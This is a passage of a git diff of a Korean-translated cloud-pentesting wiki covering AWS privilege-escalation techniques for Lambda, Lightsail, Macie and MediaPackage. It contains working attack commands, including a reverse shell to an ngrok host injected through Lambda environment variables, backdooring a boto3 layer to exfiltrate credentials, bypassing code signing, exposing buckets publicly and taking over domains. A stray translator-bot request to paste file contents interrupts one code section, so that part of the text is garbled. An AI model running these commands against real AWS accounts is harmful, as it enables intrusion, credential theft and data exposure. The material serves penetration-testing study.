create-event-source-mapping --function-name my_function \ +--event-source-arn \ +--enabled --starting-position LATEST +``` +Lambda 함수가 DynamoDB 스트림에 연결되어 있으면, 공격자는 DynamoDB 스트림을 활성화하여 **간접적으로 Lambda를 트리거할 수 있습니다**. 이는 DynamoDB 테이블에 **항목을 삽입**함으로써 수행할 수 있습니다: +```bash +aws dynamodb put-item --table-name my_table \ +--item Test={S="Random string"} +``` +**Potential Impact:** 지정된 lambda 서비스 역할에 대한 직접 privesc. + +### `lambda:AddPermission` + +이 권한을 가진 공격자는 **자신(또는 다른 사용자)에게 임의의 권한을 부여할 수 있습니다** (이는 리소스에 대한 액세스 권한을 부여하기 위한 리소스 기반 정책을 생성합니다): +```bash +# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) +aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: + +# Invoke the function +aws lambda invoke --function-name /tmp/outout +``` +**Potential Impact:** 코드 수정 및 실행 권한을 부여하여 사용 중인 lambda service role에 대해 직접적인 privesc를 얻을 수 있습니다. + +### `lambda:AddLayerVersionPermission` + +이 권한을 가진 공격자는 **자신(또는 다른 사용자)에게 `lambda:GetLayerVersion` 권한을 부여할 수 있습니다**. 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다 +```bash +# Give everyone the permission lambda:GetLayerVersion +aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion +``` +**Potential Impact:** 민감한 정보에 대한 잠재적 접근. + +### `lambda:UpdateFunctionCode` + +권한을 보유한 사용자 **`lambda:UpdateFunctionCode`** 는 **IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있는 가능성**이 있습니다.\ +공격자는 **Lambda 코드를 수정하여 exfiltrate the IAM credentials** 할 수 있습니다. + +공격자가 함수를 직접 호출할 수 있는 권한이 없을 수도 있지만, Lambda 함수가 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드의 실행을 간접적으로 허용할 수 있습니다. +```bash +# The zip should contain the lambda code (trick: Download the current one and add your code there) +aws lambda update-function-code --function-name target_function \ +--zip-file fileb:///my/lambda/code/zipped.zip + +# If you have invoke permissions: +aws lambda invoke --function-name my_function output.txt + +# If not check if it's exposed in any URL or via an API gateway you could access +``` +**Potential Impact:** 사용된 lambda 서비스 역할로의 직접 privesc. + +### `lambda:UpdateFunctionConfiguration` + +#### RCE via env variables + +이 권한으로 Lambda에 임의의 코드를 실행하게 하는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 `PYTHONWARNING`와 `BROWSER`를 악용해 python 프로세스가 임의의 명령을 실행하도록 만들 수 있습니다: +```bash +aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" +``` +다른 스크립팅 언어의 경우 사용할 수 있는 다른 env 변수들이 있습니다. 자세한 내용은 다음의 스크립팅 언어 하위 섹션을 확인하세요: + +{{#ref}} +https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html +{{#endref}} + +#### RCE via Lambda Layers + +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 은 lamdba 함수에 **code**를 포함할 수 있게 해주지만 **별도로 저장**하여 함수 코드를 작게 유지하고 **여러 함수가 code를 공유할 수 있다**. + +lambda 내부에서는 다음과 같은 함수로 python code가 로드되는 경로를 확인할 수 있습니다: +```python +import json +import sys + +def lambda_handler(event, context): +print(json.dumps(sys.path, indent=2)) +``` +These are the places: + +1. /var/task +2. /opt/python/lib/python3.7/site-packages +3. /opt/python +4. /var/runtime +5. /var/lang/lib/python37.zip +6. /var/lang/lib/python3.7 +7. /var/lang/lib/python3.7/lib-dynload +8. /var/lang/lib/python3.7/site-packages +9. /opt/python/lib/python3.7/site-packages +10. /opt/python + +For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). + +#### 악용 + +권한 `lambda:UpdateFunctionConfiguration` 를 악용해서 람다 함수에 **새 레이어를 추가**할 수 있습니다. 임의 코드를 실행하려면 이 레이어가 람다가 **임포트할 라이브러리**를 포함해야 합니다. 람다 코드를 읽을 수 있다면 이를 쉽게 찾을 수 있고, 해당 람다가 **이미 레이어를 사용 중일 수 있으며**, 그 레이어를 **다운로드**하여 **코드를 추가**할 수도 있다는 점을 유의하세요. + +For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +```bash +pip3 install -t ./lambda_layer boto3 +``` +`./lambda_layer/boto3/__init__.py` 파일을 열고 **전역 코드에 backdoor를 추가**할 수 있습니다 (예: exfiltrate credentials를 전송하거나 reverse shell을 얻는 함수). + +그런 다음 `./lambda_layer` 디렉터리를 zip으로 압축하고 **upload the new lambda layer**를 자신의 계정에 업로드하세요(또는 피해자 계정에 업로드할 수 있으나 권한이 없을 수 있습니다).\ +참고: /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 합니다. 또한 레이어는 lambda에서 사용하는 **compatible with the python version**이어야 하며, 계정에 업로드할 경우 **same region:** +```bash +aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" +``` +이제 업로드된 lambda layer를 **모든 계정에서 접근 가능하도록**: +```bash +aws lambda add-layer-version-permission --layer-name boto3 \ +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * +``` +그리고 lambda layer를 피해자 lambda function에 연결하세요: +```bash +aws lambda update-function-configuration \ +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells +``` +다음 단계는 우리가 직접 **함수를 호출(invoke the function)** 할 수 있다면 그렇게 하거나, 정상적인 방법으로 **함수가 호출될 때까지 기다리는 것**인데 — 후자가 더 안전한 방법입니다. + +**이 취약점을 보다 은밀하게 악용하는 방법**은 다음에서 확인할 수 있습니다: + +{{#ref}} +../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +{{#endref}} + +**Potential Impact:** 사용된 lambda 서비스 역할에 대한 직접 privesc. + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` + +해당 권한들이 있으면 함수를 생성하고 URL을 호출해 실행할 수 있을지도 모릅니다... 하지만 테스트할 방법을 찾지 못했으니, 시도하시면 알려주세요! + +### Lambda MitM + +일부 lambda는 파라미터로부터 사용자들이 보내는 **민감한 정보를 수신(receiving sensitive info from the users in parameters.)** 합니다. 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +{{#endref}} + +## References + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing + +Lambda 함수가 code signing을 강제하는 경우, Code Signing Config(CSC)를 제거하거나 Warn으로 강등할 수 있는 공격자는 서명되지 않은 코드를 함수에 배포할 수 있습니다. 이는 함수의 IAM role이나 트리거를 변경하지 않고도 무결성 보호를 우회합니다. + +권한(다음 중 하나): +- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` +- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` + +Notes: +- Path B의 경우, CSC 정책이 `WARN`(unsigned artifacts allowed)으로 설정되어 있으면 AWS Signer 프로필이 필요 없습니다. + +Steps (REGION=us-east-1, TARGET_FN=): + +작은 페이로드를 준비하세요: +```bash +cat > handler.py <<'PY' +import os, json +def lambda_handler(event, context): +return {"pwn": True, "env": list(os.environ)[:6]} +PY +zip backdoor.zip handler.py +``` +경로 A) CSC를 제거한 다음 code를 업데이트: +```bash +aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 +if [ "$HAS_CSC" -eq 1 ]; then +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION +fi +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +경로 B) Warn으로 다운그레이드하고 코드 업데이트 (삭제가 허용되지 않는 경우): +```bash +CSC_ARN=$(aws lambda create-code-signing-config \ +--description ht-warn-csc \ +--code-signing-policies UntrustedArtifactOnDeployment=WARN \ +--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) +aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Please paste the contents of src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md here and I will translate the relevant English to Korean per your rules (keeping code, tags, links, paths and specified words unchanged). +```bash +aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null +cat /tmp/out.json +``` +잠재적 영향: 서명된 배포만 적용되도록 설정된 함수에 임의의 서명되지 않은 코드를 업로드하고 실행할 수 있어, 해당 함수 역할의 권한으로 코드 실행이 발생할 수 있습니다. + +정리: +```bash +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true +``` + diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md deleted file mode 100644 index 1bc368591..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - Lightsail Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Lightsail에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -> [!WARNING] -> Lightsail은 **사용자에게 속한 IAM 역할을 사용하지 않고** AWS 관리 계정에 속하므로, 이 서비스를 악용하여 권한 상승을 할 수 없습니다. 그러나 **민감한 데이터**인 코드, API 키 및 데이터베이스 정보는 이 서비스에서 발견될 수 있습니다. - -### `lightsail:DownloadDefaultKeyPair` - -이 권한은 인스턴스에 접근하기 위한 SSH 키를 가져올 수 있게 해줍니다: -``` -aws lightsail download-default-key-pair -``` -**잠재적 영향:** 인스턴스 내에서 민감한 정보를 찾습니다. - -### `lightsail:GetInstanceAccessDetails` - -이 권한은 인스턴스에 접근하기 위한 SSH 키를 생성할 수 있게 해줍니다: -```bash -aws lightsail get-instance-access-details --instance-name -``` -**잠재적 영향:** 인스턴스 내에서 민감한 정보를 찾습니다. - -### `lightsail:CreateBucketAccessKey` - -이 권한은 버킷에 접근할 수 있는 키를 얻을 수 있게 해줍니다: -```bash -aws lightsail create-bucket-access-key --bucket-name -``` -**잠재적 영향:** 버킷 내에서 민감한 정보를 찾습니다. - -### `lightsail:GetRelationalDatabaseMasterUserPassword` - -이 권한은 데이터베이스에 접근하기 위한 자격 증명을 얻을 수 있게 해줍니다: -```bash -aws lightsail get-relational-database-master-user-password --relational-database-name -``` -**잠재적 영향:** 데이터베이스 내의 민감한 정보 찾기. - -### `lightsail:UpdateRelationalDatabase` - -이 권한은 데이터베이스에 접근하기 위한 비밀번호를 변경할 수 있게 해줍니다: -```bash -aws lightsail update-relational-database --relational-database-name --master-user-password -``` -데이터베이스가 공개되지 않은 경우, 이 권한으로 공개할 수도 있습니다. -```bash -aws lightsail update-relational-database --relational-database-name --publicly-accessible -``` -**잠재적 영향:** 데이터베이스 내의 민감한 정보 찾기. - -### `lightsail:OpenInstancePublicPorts` - -이 권한은 인터넷에 포트를 열 수 있게 허용합니다. -```bash -aws lightsail open-instance-public-ports \ ---instance-name MEAN-2 \ ---port-info fromPort=22,protocol=TCP,toPort=22 -``` -**잠재적 영향:** 민감한 포트에 접근. - -### `lightsail:PutInstancePublicPorts` - -이 권한은 인터넷에 포트를 열 수 있게 해줍니다. 이 호출은 지정되지 않은 모든 열린 포트를 닫습니다. -```bash -aws lightsail put-instance-public-ports \ ---instance-name MEAN-2 \ ---port-infos fromPort=22,protocol=TCP,toPort=22 -``` -**잠재적 영향:** 민감한 포트에 접근. - -### `lightsail:SetResourceAccessForBucket` - -이 권한은 인스턴스가 추가 자격 증명 없이 버킷에 접근할 수 있도록 허용합니다. -```bash -aws set-resource-access-for-bucket \ ---resource-name \ ---bucket-name \ ---access allow -``` -**잠재적 영향:** 민감한 정보가 포함된 버킷에 대한 새로운 접근 가능성. - -### `lightsail:UpdateBucket` - -이 권한을 통해 공격자는 자신의 AWS 계정에 버킷에 대한 읽기 접근을 부여하거나 심지어 모든 사용자에게 버킷을 공개할 수 있습니다: -```bash -# Grant read access to exterenal account -aws update-bucket --bucket-name --readonly-access-accounts - -# Grant read to the public -aws update-bucket --bucket-name --access-rules getObject=public,allowPublicOverrides=true - -# Bucket private but single objects can be public -aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true -``` -**잠재적 영향:** 민감한 정보가 포함된 버킷에 대한 새로운 접근 가능성. - -### `lightsail:UpdateContainerService` - -이 권한을 통해 공격자는 컨테이너 서비스에서 개인 ECR에 대한 접근을 부여할 수 있습니다. -```bash -aws update-container-service \ ---service-name \ ---private-registry-access ecrImagePullerRole={isActive=boolean} -``` -**잠재적 영향:** 개인 ECR에서 민감한 정보 얻기 - -### `lightsail:CreateDomainEntry` - -이 권한을 가진 공격자는 서브도메인을 생성하고 자신의 IP 주소로 포인팅할 수 있으며(서브도메인 탈취), 도메인에서 이메일을 스푸핑할 수 있도록 SPF 레코드를 작성하거나, 심지어 메인 도메인을 자신의 IP 주소로 설정할 수 있습니다. -```bash -aws lightsail create-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**잠재적 영향:** 도메인 탈취 - -### `lightsail:UpdateDomainEntry` - -이 권한을 가진 공격자는 서브도메인을 생성하고 자신의 IP 주소로 포인팅할 수 있으며(서브도메인 탈취), 도메인에서 이메일을 스푸핑할 수 있도록 SPF 레코드를 작성하거나, 심지어 메인 도메인을 자신의 IP 주소로 설정할 수 있습니다. -```bash -aws lightsail update-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**잠재적 영향:** 도메인 탈취 - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md new file mode 100644 index 000000000..f623f0297 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - Lightsail Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Lightsail에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +> [!WARNING] +> Lightsail은 **사용자에게 속한 IAM 역할을 사용하지 않고** AWS 관리 계정에 속한 역할을 사용한다는 점을 유의해야 합니다. 따라서 이 서비스를 악용해 privesc를 수행할 수는 없습니다. 그러나 **민감한 데이터**(예: code, API keys 및 database info)는 이 서비스에서 발견될 수 있습니다. + +### `lightsail:DownloadDefaultKeyPair` + +이 권한은 인스턴스에 접근하기 위한 SSH keys를 얻을 수 있게 해줍니다: +``` +aws lightsail download-default-key-pair +``` +**Potential Impact:** 인스턴스 내부에서 민감한 정보를 찾을 수 있음. + +### `lightsail:GetInstanceAccessDetails` + +이 권한은 인스턴스에 액세스하기 위해 SSH 키를 생성할 수 있게 해줍니다: +```bash +aws lightsail get-instance-access-details --instance-name +``` +**잠재적 영향:** instances 내부에서 민감한 정보를 찾을 수 있습니다. + +### `lightsail:CreateBucketAccessKey` + +이 권한을 사용하면 bucket에 접근하기 위한 키를 얻을 수 있습니다: +```bash +aws lightsail create-bucket-access-key --bucket-name +``` +**Potential Impact:** 버킷 내부에서 민감한 정보를 찾을 수 있습니다. + +### `lightsail:GetRelationalDatabaseMasterUserPassword` + +이 권한을 통해 데이터베이스에 접근하기 위한 자격 증명을 얻을 수 있습니다: +```bash +aws lightsail get-relational-database-master-user-password --relational-database-name +``` +**Potential Impact:** 데이터베이스 내에서 민감한 정보를 찾을 수 있습니다. + +### `lightsail:UpdateRelationalDatabase` + +이 권한은 데이터베이스에 접근하기 위한 비밀번호를 변경할 수 있게 해줍니다: +```bash +aws lightsail update-relational-database --relational-database-name --master-user-password +``` +데이터베이스가 공개되어 있지 않다면, 다음 권한으로 공개할 수도 있습니다. +```bash +aws lightsail update-relational-database --relational-database-name --publicly-accessible +``` +**잠재적 영향:** 데이터베이스 내부에서 민감한 정보를 찾을 수 있음. + +### `lightsail:OpenInstancePublicPorts` + +이 권한은 포트를 인터넷에 공개할 수 있도록 허용합니다. +```bash +aws lightsail open-instance-public-ports \ +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 +``` +**잠재적 영향:** 민감한 포트에 접근할 수 있음. + +### `lightsail:PutInstancePublicPorts` + +이 권한은 포트를 인터넷에 개방할 수 있게 합니다. 이 호출은 요청에 명시되지 않은 모든 열린 포트를 닫습니다. +```bash +aws lightsail put-instance-public-ports \ +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 +``` +**잠재적 영향:** 민감한 포트에 접근할 수 있습니다. + +### `lightsail:SetResourceAccessForBucket` + +이 권한은 추가적인 credentials 없이 instances가 bucket에 접근할 수 있도록 허용합니다. +```bash +aws set-resource-access-for-bucket \ +--resource-name \ +--bucket-name \ +--access allow +``` +**Potential Impact:** 민감한 정보를 포함한 buckets에 대한 잠재적 신규 접근. + +### `lightsail:UpdateBucket` + +이 권한을 통해 공격자는 자신의 AWS 계정에 buckets에 대한 읽기 액세스를 부여하거나 심지어 buckets를 모두에게 공개할 수 있습니다: +```bash +# Grant read access to exterenal account +aws update-bucket --bucket-name --readonly-access-accounts + +# Grant read to the public +aws update-bucket --bucket-name --access-rules getObject=public,allowPublicOverrides=true + +# Bucket private but single objects can be public +aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true +``` +**잠재적 영향:** 민감한 정보가 담긴 버킷에 대한 새로운 접근 가능성. + +### `lightsail:UpdateContainerService` + +이 권한을 통해 공격자는 containers service에서 private ECRs에 대한 접근 권한을 부여할 수 있습니다. +```bash +aws update-container-service \ +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} +``` +**잠재적 영향:** private ECR에서 민감한 정보를 얻을 수 있음 + +### `lightsail:CreateDomainEntry` + +이 권한을 가진 공격자는 서브도메인을 생성하여 자신의 IP 주소로 포인팅(subdomain takeover)하거나, 도메인에서 이메일을 spoof할 수 있도록 하는 SPF 레코드를 조작하거나, 심지어 메인 도메인을 자신의 IP 주소로 설정할 수도 있습니다. +```bash +aws lightsail create-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**Potential Impact:** Takeover a domain + +### `lightsail:UpdateDomainEntry` + +이 권한을 가진 attacker는 subdomain을 생성해 이를 자신의 IP address로 지정하여 (subdomain takeover) 소유권을 빼앗거나, SPF 레코드를 조작해 domain에서 spoof emails를 보낼 수 있게 하거나, 심지어 메인 domain을 자신의 IP address로 설정할 수 있습니다. +```bash +aws lightsail update-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**잠재적 영향:** 도메인 탈취 + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md deleted file mode 100644 index 16f914106..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - Macie Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Macie - -Macie에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-macie-enum.md -{{#endref}} - -### Amazon Macie - `Reveal Sample` 무결성 검사 우회 - -AWS Macie는 AWS 환경 내에서 자격 증명, 개인 식별 정보(PII) 및 기타 기밀 데이터와 같은 민감한 데이터를 자동으로 감지하는 보안 서비스입니다. Macie가 S3 버킷에 저장된 AWS 비밀 키와 같은 민감한 자격 증명을 식별하면, 소유자가 감지된 데이터의 "샘플"을 볼 수 있도록 하는 발견 결과를 생성합니다. 일반적으로 민감한 파일이 S3 버킷에서 제거되면 비밀을 더 이상 검색할 수 없다고 예상됩니다. - -그러나 충분한 권한을 가진 공격자가 **같은 이름의 파일을 다시 업로드**할 수 있는 **우회**가 확인되었습니다. 이 파일은 다른 비민감 더미 데이터로 구성됩니다. 이로 인해 Macie는 새로 업로드된 파일을 원래 발견 결과와 연관짓게 되어, 공격자가 **"Reveal Sample" 기능**을 사용하여 이전에 감지된 비밀을 추출할 수 있습니다. 이 문제는 삭제된 것으로 간주된 비밀이 이 방법을 통해 여전히 검색 가능하므로 상당한 보안 위험을 초래합니다. - -![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) - -**재현 단계:** - -1. 민감한 데이터(예: AWS 비밀 키)가 포함된 파일(예: `test-secret.txt`)을 S3 버킷에 업로드합니다. AWS Macie가 스캔하고 발견 결과를 생성할 때까지 기다립니다. - -2. AWS Macie 발견 결과로 이동하여 생성된 발견 결과를 찾고 **Reveal Sample** 기능을 사용하여 감지된 비밀을 봅니다. - -3. S3 버킷에서 `test-secret.txt`를 삭제하고 더 이상 존재하지 않는지 확인합니다. - -4. 더미 데이터로 구성된 새 파일 `test-secret.txt`를 생성하고 **공격자의 계정**을 사용하여 동일한 S3 버킷에 다시 업로드합니다. - -5. AWS Macie 발견 결과로 돌아가 원래 발견 결과에 접근하고 **Reveal Sample**을 다시 클릭합니다. - -6. 파일이 삭제되고 다른 내용으로 교체되었음에도 불구하고 Macie가 여전히 원래 비밀을 공개하는 것을 관찰합니다. **다른 계정에서, 이 경우 공격자의 계정에서**입니다. - -**요약:** - -이 취약점은 충분한 AWS IAM 권한을 가진 공격자가 S3에서 원래 파일이 삭제된 후에도 이전에 감지된 비밀을 복구할 수 있게 합니다. AWS 비밀 키, 액세스 토큰 또는 기타 민감한 자격 증명이 노출되면, 공격자는 이 결함을 이용하여 이를 검색하고 AWS 리소스에 무단으로 접근할 수 있습니다. 이는 권한 상승, 무단 데이터 접근 또는 클라우드 자산의 추가 손상으로 이어져 데이터 유출 및 서비스 중단을 초래할 수 있습니다. -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md new file mode 100644 index 000000000..7f85692ea --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md @@ -0,0 +1,38 @@ +# AWS - Macie Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Macie + +Macie에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-macie-enum.md +{{#endref}} + +### Amazon Macie - Bypass `Reveal Sample` Integrity Check + +AWS Macie는 자격 증명, 개인 식별 정보(PII) 및 기타 기밀 데이터를 포함한 AWS 환경 내의 민감한 데이터를 자동으로 탐지하는 보안 서비스입니다. Macie가 S3 버킷에 저장된 AWS secret key와 같은 민감한 자격 증명을 식별하면, 소유자가 감지된 데이터의 "sample"을 볼 수 있도록 finding을 생성합니다. 일반적으로 민감한 파일이 S3 버킷에서 제거되면 해당 secret은 더 이상 검색할 수 없게 됩니다. + +그러나 충분한 권한을 가진 공격자가 동일한 이름의 파일을 다른, 비민감한 더미 데이터로 **re-upload**할 수 있는 **bypass**가 확인되었습니다. 이로 인해 Macie는 새로 업로드된 파일을 원래 finding과 연관시켜, 공격자가 **"Reveal Sample"** 기능을 사용해 이전에 감지된 secret을 추출할 수 있게 됩니다. 이 문제는 삭제된 것으로 간주된 비밀이 이 방법으로 여전히 검색 가능하다는 점에서 심각한 보안 위험을 초래합니다. + +![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) + +**Steps To Reproduce:** + +1. S3 버킷에 AWS secret key와 같은 민감한 데이터가 포함된 파일(예: `test-secret.txt`)을 업로드합니다. AWS Macie가 스캔하여 finding을 생성할 때까지 기다립니다. + +2. AWS Macie Findings로 이동하여 생성된 finding을 찾고 **Reveal Sample** 기능을 사용하여 감지된 secret을 확인합니다. + +3. S3 버킷에서 `test-secret.txt`를 삭제하고 더 이상 존재하지 않는지 확인합니다. + +4. 동일한 이름(`test-secret.txt`)의 새 파일을 더미 데이터로 생성하여 **attacker's account**를 사용해 동일한 S3 버킷에 재업로드합니다. + +5. AWS Macie Findings로 돌아가 원래 finding에 접근한 후 다시 **Reveal Sample**을 클릭합니다. + +6. 파일이 삭제되고 다른 내용으로 교체되었음에도 불구하고, 특히 다른 계정(이 경우 attacker's account)에서 업로드되었음에도 Macie가 여전히 원래의 secret을 노출하는 것을 관찰합니다. + +**Summary:** + +이 취약점은 충분한 AWS IAM permissions을 가진 공격자가 원본 파일이 S3에서 삭제된 후에도 이전에 감지된 secret을 복구할 수 있게 합니다. AWS secret key, access token 또는 기타 민감한 자격 증명이 노출된 경우, 공격자는 이 결함을 이용해 이를 검색하고 AWS 리소스에 무단으로 접근할 수 있습니다. 이는 privilege escalation, 무단 데이터 접근 또는 클라우드 자산의 추가 침해로 이어져 데이터 유출 및 서비스 중단을 초래할 수 있습니다. +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md deleted file mode 100644 index 461267560..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Mediapackage Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### `mediapackage:RotateChannelCredentials` - -채널의 첫 번째 IngestEndpoint의 사용자 이름과 비밀번호를 변경합니다. (이 API는 RotateIngestEndpointCredentials에 대해 더 이상 사용되지 않습니다) -```bash -aws mediapackage rotate-channel-credentials --id -``` -### `mediapackage:RotateIngestEndpointCredentials` - -채널의 첫 번째 IngestEndpoint의 사용자 이름과 비밀번호를 변경합니다. (이 API는 RotateIngestEndpointCredentials에 대해 더 이상 사용되지 않습니다) -```bash -aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 -``` -## 참고 문헌 - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md new file mode 100644 index 000000000..631a1183c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md @@ -0,0 +1,21 @@ +# AWS - Mediapackage Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### `mediapackage:RotateChannelCredentials` + +Channel의 첫 번째 IngestEndpoint의 username과 password를 변경합니다. (이 API는 RotateIngestEndpointCredentials로 더 이상 사용되지 않습니다) +```bash +aws mediapackage rotate-channel-credentials --id +``` +### `mediapackage:RotateIngestEndpointCredentials` + +Channel의 첫 번째 IngestEndpoint의 사용자 이름과 비밀번호를 변경합니다. (이 API는 RotateIngestEndpointCredentials로 대체되어 더 이상 권장되지 않습니다) +```bash +aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 +``` +## 참고자료 + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md deleted file mode 100644 index 271d91978..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - MQ Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MQ - -MQ에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} 